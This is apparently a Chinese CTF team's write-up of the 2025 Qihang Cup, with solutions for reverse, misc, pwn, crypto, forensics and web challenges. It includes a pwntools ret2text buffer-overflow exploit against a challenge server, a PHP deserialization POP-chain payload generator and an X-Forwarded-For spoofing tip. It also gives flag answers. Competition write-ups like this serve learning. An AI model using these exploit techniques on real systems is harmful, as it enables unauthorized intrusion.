2025启航杯wp
2025启航杯wp
本次启航杯可以说是槽点满满 本来和几位师傅一起想冲击第一 但是最后就差一道win06 遗憾第二 拼尽全力无法战胜
re
Checker
- 就一个xor 0x23直接秒了
- EXP
data = [0x72, 0x6B, 0x60, 0x77, 0x65, 0x58, 0x46, 0x46, 0x15, 0x40,
0x14, 0x41, 0x1A, 0x40, 0x0E, 0x46, 0x14, 0x45, 0x16, 0x0E,
0x17, 0x45, 0x42, 0x41, 0x0E, 0x1A, 0x41, 0x47, 0x45, 0x0E,
0x46, 0x42, 0x13, 0x14, 0x46, 0x13, 0x10, 0x17, 0x45, 0x15,
0x42, 0x16, 0x5E]
for i in data:
print(chr(i ^ 0x23),end="")
rainbow
- 别的都不重要直接看xor函数发现就是异或了90
- EXP
import binascii
data = binascii.a2b_hex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227")
for i in data:
print(chr(i ^ 90),end="")
小明的note
- 程序加了UPX的壳,linux的upx -d脱壳就行,就是一个xor而已
- EXP
enc = [ 0x12, 0x7D, 0xE1, 0x2C, 0x01, 0x4A, 0xC4, 0x45, 0x78, 0x5E,
0xC9, 0x46, 0x78, 0x5D, 0x83, 0x0F, 0x37, 0x12, 0xD0, 0x45,
0x63, 0x42, 0xD5, 0x57, 0x76, 0x14, 0xDE, 0x06, 0x6E, 0x04,
0x8F, 0x3E, 0x50, 0x21, 0xE1, 0x3B, 0x53, 0x72, 0xB7, 0x6C,
0x5D, 0x79, 0xF7]
key = [0x42,0x37,0xa1,0x7c]
for i in range(len(enc)):
enc[i] ^= i + 1
enc[i] ^= key[i % 4]
print(bytes(enc))
misc
请找出拍摄地所在位置
通过右上角的广告可得柳城县
通过雅迪和绿源等标志物可得flag
QHCTF For Year 2025
原题
______启动!
筛选http流量 发现log目录的Post请求
访问http://101.126.66.65/log,下载log文件即得flag
PvzHE
直接从图像里面找
你能看懂这串未知的文字吗
从网上找一下类似的字体 贴吧中发现是羊文
按照题目给的图片进行转换
一眼顶针 确定为szfpguwizgwesqzoaoerv
然后png图片存在lsb隐写 得到key qihangbeiiseasy
维吉尼亚 解密得到flag
猿类的编程语言你了解吗
jphs隐写 但是无密码
提出来密文
Ook! to text
你猜猜这是哪
问到了本地人
pwn
easy_pwn
- 没啥好说的ret2text
- EXP
from pwn import *
io = remote("challenge.qihangcup.cn",35089)
io.sendline("a" * 0x58 + p64(0x00000000004011CA))
io.interactive()
crypto
easyrsa
gpt一把梭
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
# 私钥(直接从提供的 private_key 变量获取)
private_key = b'''-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCrIhp66syyQ8bOfTRjPJ+8Q2B9V2mfYIcQGUGx2RVfoWD6iY8N
gYBsA3ksoZgv9tz+MXehdeeImNtAmZo3YZKHSQLAx+bJ2R+IUImVmY5vcMMVzn7e
z2TBKlrhOWQvqGMgFMqeHG2JWTo27lZBApK3fkpBBRMQA/pBqDD1tMOfeQIDAQAB
AoGAEA1AWkQuKWW7FEDhNOe0UevTSp50MqCoD9tWnVBv3/WaoOqzMitHTkUFzNO8
GyT2y0RSOiD9iS377sjEPX/s8ZU8mD4v8Hp6GWWQeSLy1N5/7DCo8sBO7BspKa+p
QOPluEYgAUAp9oPm0YR9XvFUfoV7lrSju2dPWsNqZ69XT5sCQQDE/fwjlXhfeeyE
wKC226haT11ml1h51/6+CgWAG9IUvsu0MSBRFKoh5iwBlW2lDUFwRGMORtbklacC
fUmVE9UPAkEA3mUrse9a2xReh3UjIsON7gQqbxbhCJ+5uQWlgIlirAcMotTjulG6
sSW+VyBszj5fPbkQwTeDZSUXlB0WB/oS9wJATflO1XLzq68iHMX2l4rIz758dQBR
KCGEFwr2dGgOtuFy1kdfyFhKo5JtNs9EEEH39g1LvDn0E5Tc/5JCDv1DpwJBAM6G
LTmkCT+BfvdT9DkIWPk7rRxUps2XZqVHdRYUfyk5sqZUBNa1pyVy43uNhP1SNqff
AIwtvTtkYq0NBbSKqqkCQQCN1FuNAxL56z8HOUt4zG/PQ17b1nZnOZNN+m86sC53
Syqw75NOSUvu9BAxyw3Y9V0UkhkNr6gG9D57CJ5DJVWS
-----END RSA PRIVATE KEY-----'''
# 加密的消息(从给定的加密消息中提取)
encrypted_message = "DFuPRH4PXGX73aMYPdQmjaZ1Ppls7RyMvRzskDwupPmWiStFs4A6r3sDW4vuuteWExa/krMhKqDQpndNL9mljzSRd6Tay16ca21apo3frXy+RovbAbYZNJx8+VZn5umZpKCh+y3ysf8FURVI5g+K35S03Xp2ofWO4LI1h2riGT8="
def decrypt_message(encrypted_message, private_key):
# 导入私钥
key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(key)
# 解密
encrypted_message_bytes = base64.b64decode(encrypted_message)
decrypted_message = cipher.decrypt(encrypted_message_bytes)
return decrypted_message.decode()
# 解密并打印消息
decrypted_message = decrypt_message(encrypted_message, private_key)
print("解密后的消息:")
print(decrypted_message)
forensic
Win_01
某天,小明正在某网站进行学习。突然,一位蛤客盯上了他,并向他发送了一封钓鱼邮件。由于小明刚接触网络安全,对钓鱼邮件并不熟悉,他不小心下载并点击了邮件中的附件。当他后来学习到钓鱼邮件的相关知识时,已经为时晚矣。于是,他请求你帮助找出蛤客的痕迹。请你针对附件镜像进行一次应急响应,查找以下flag值。压缩包附件的解压密码为:90382728-ca22-48e7-8413-61f6438f1b90。请以QHCTF{xxxxxxxx}的格式提交结果。
1.找出系统中蛤客的ip地址及端口,提交方式请以QHCTF{md5(127.0.0.1:80)}进行提交,
在翻的时候在黑客创建的用户文件夹中找到一个可疑exe
放沙箱分析
Win_02
2.蛤客在控制小明的系统后,创建了一个最高权限的后门账户,请你找出该账户的用户名及密码,提交方式请以QHCTF{md5(user_password)}进行提交
win_04
4.蛤客在home目录中存放了一个恶意程序,请你分析该程序,并找到其中的flag值
在admin用户桌面上找到一个hacker.exe
导出看图标发现是python打包的 解个包先
找个网站反编译pyc文件
写解密脚本
def xor_encrypt(data, key):
# Repeat the key to match the length of the data
repeated_key = (key * (len(data) // len(key) + 1))[:len(data)]
# XOR each byte of data with the corresponding byte in the repeated key
return bytes([data[i] ^ repeated_key[i] for i in range(len(data))])
import base64
enc = "HgIlNCQUF0MZRA0FMhwODBsTNjM4OQ8RMA81SCImFhQeVkQdCUJfMBs0Mx0fGVowIyoTJ0cdHCwKVwxIOQQCRA=="
xor_key = b'qihangcup'
aes_key = b'acf8bafa15f8cb03'
enc = bytearray(base64.b64decode(enc))
res = xor_encrypt(enc, xor_key)
aes_enc = base64.b64decode(res)
from Crypto.Cipher import AES
aes = AES.new(key=aes_key,mode=AES.MODE_ECB)
print(aes.decrypt(aes_enc))
# b'QHCTF{8b0c14a8-5823-46fd-a547-0dcdc404a7ed}\x05\x05\x05\x05\x05'
win_05
5.小明在找你帮忙之前,喊了他的一位好友帮他先行取证,请你找出他好友远程所使用的软件,并找出控制了多少秒,ip是什么,提交方式请以QHCTF{md5(xxxx_10_127.0.0.1)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
火眼梭出ip和工具名
但是时间不对 去翻日志
这里找的方法是 直接在todesk的日志文件夹中全局搜索关键词tcp begin connect
找到的ip对应的端口不为443的 就是外连ip
看着反而像14:40:01开始14:53:01结束的 尝试交780秒到788秒的flag 发现781是对的 (吐槽一点工具名竟然是Todesk d不大写 明明官方名字就是ToDesk)
win_06(赛后复盘)
6.请你找出蛤客在启动项中藏的flag
提交方式:QHCTF{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx}
常规的启动项翻了个遍也没找到 赛后得知是从Windows Defender中找到查杀记录
按照这个顺序 打开查杀历史
但是打开只能看到我们在win01中已经分析过的Server2.exe的删除记录
找到一个项目来进行恢复https://github.com/CyberGoatherder/WinDefReleaser
打开start文件 找到一段可疑字符串
base64套娃解密得到flag
win_07
7.蛤客在系统数据库中藏了一些东西,请你找出其中的flag值
提交方式:QHCTF{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx}
在HackY$用户桌面上找到一个flag.zip bandzip打开看到注释部分提示了密码在环境变量里面
仿真起计算机镜像 cmd输入set查看环境变量
解压解base64得到flag
web
include
pop
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Sec();
$b = new Start();
$b->func = $a;
$c = new eeee();
$c->obj = $b;
$d = new Sec();
$e = new Easy();
$d->obj = $e;
$d->var = $c;
$f = new Start();
$f->name = $d;
echo urlencode(serialize($f));
PCREmagic
Web_IP
x-forwarded-for伪造